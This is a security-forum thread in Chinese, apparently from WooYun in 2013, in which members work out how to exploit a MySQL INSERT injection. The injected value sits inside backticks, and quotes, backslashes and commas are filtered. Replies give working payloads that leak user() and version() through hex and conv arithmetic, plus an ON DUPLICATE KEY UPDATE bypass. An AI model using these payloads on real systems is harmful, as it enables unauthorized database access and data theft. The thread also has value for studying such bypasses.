当前位置:WooYun(白帽子技术社区) >> mysql >> sql漏洞 mysql语句问题[速帮看看]

sql漏洞 mysql语句问题[速帮看看]

鬼哥 | 2013-02-26 00:51

如下语句

INSERT INTO `news` (`id`, `nr`) VALUES (1, `{可控制}`)  注意有`号 不是'号。

假如我现在要把nr字段 搞成user()

INSERT INTO `news` (`id`, `nr`) VALUES (1, `user()`) 这样是不行的被`号包含了。

然后我又想
INSERT INTO `news` (`id`, `nr`) VALUES (1, `id`&user()&`id`) 这样插进去的nr结果却是0

注意无法使用' \ 等号  会被替换成 \'  \\

现在要咋办呢

补充:无法显错         无法多语句用INSERT 多次加入(因为过滤和,号 如果要多次INSERT 必须要有,号吧)

分享到:
  1. 1#
    回复此人 感谢
    erevus | 2013-02-26 09:18

    围观鬼哥大神...

  2. 2#
    回复此人 感谢
    我想拿个shell | 2013-02-26 15:31

    nr`),(1,(select 1 from mysql.user limit 1)) #

  3. 3#
    回复此人 感谢
    我想拿个shell | 2013-02-26 15:32

    看错了,没看到逗号被替换了。

  4. 4#
    回复此人 感谢
    Joker (资深服务员) | 2013-02-26 16:28

    INSERT INTO `news` (`id`, `nr`) VALUES (0, `id`+hex(user())-`id`) 这样呢?

  5. 5#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-02-26 17:54

    @Joker 有想法

  6. 6#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-02-26 17:59

    @Joker 这个问题抽象下就是如何把一个字符串变成一个数字类型的问题

  7. 7#
    回复此人 感谢
    xsser (十根阳具有长短!!) | 2013-02-26 18:24

    INSERT INTO `news` (`id`, `nr`) VALUES (1, `id`+conv(hex(mid(version(),1,5)),16,10)+`id`)

  8. 8# 感谢(1)
    回复此人 感谢
    /fd (Http://prompt.ml) | 2013-02-26 18:37

    試試ON DUPLICATE KEY UPDATE

  9. 9#
    回复此人 感谢
    鬼哥 | 2013-02-27 01:06

    @Joker 这样有字符限制。。但是这样都被你想到了佩服!!

  10. 10#
    回复此人 感谢
    鬼哥 | 2013-02-27 01:07

    @xsser 有字符限制哦。难办。。

  11. 11#
    回复此人 感谢
    鬼哥 | 2013-02-27 01:13

    @/fd INSERT INTO `news` (`id`, `nr`) VALUES (1,`s`) ON DUPLICATE KEY UPDATE nr='sss'

    语句执行成功,但是查看结果nr依旧等于 s 并没等于 sss 不知道为什么。 。

  12. 12#
    回复此人 感谢
    鬼哥 | 2013-02-27 01:30

    @/fd OK。找到为什么了。谢谢了。可以解决了。

    牛人呀。。必须感谢WB

  13. 13#
    回复此人 感谢
    鬼哥 | 2013-02-27 12:10

    补充下 INSERT INTO `news` (`id`, `nr`) VALUES (1,`s`) ON DUPLICATE KEY UPDATE nr='sss'

    语句执行成功,但是查看结果nr依旧等于 s 并没等于 sss 不知道为什么

    插2次这条语句就可以看到结果了。

  14. 14#
    回复此人 感谢
    Lmy (话说名字太长容易被人关注) | 2013-02-27 18:56

    commit

  15. 15#
    回复此人 感谢
    My5t3ry | 2013-03-05 10:40

    mark

  16. 16#
    回复此人 感谢
    一刀终情 ((注意看时间,没乱哦!) ‫(1314520)) | 2013-03-05 12:46

    @鬼哥 我也觉得是没有commit;

添加新回复

登录 后才能参与评论.

WooYun(白帽子技术社区)

网络安全资讯、讨论,跨站师,渗透师,结界师聚集之地

登录

其它内容

  • 暂无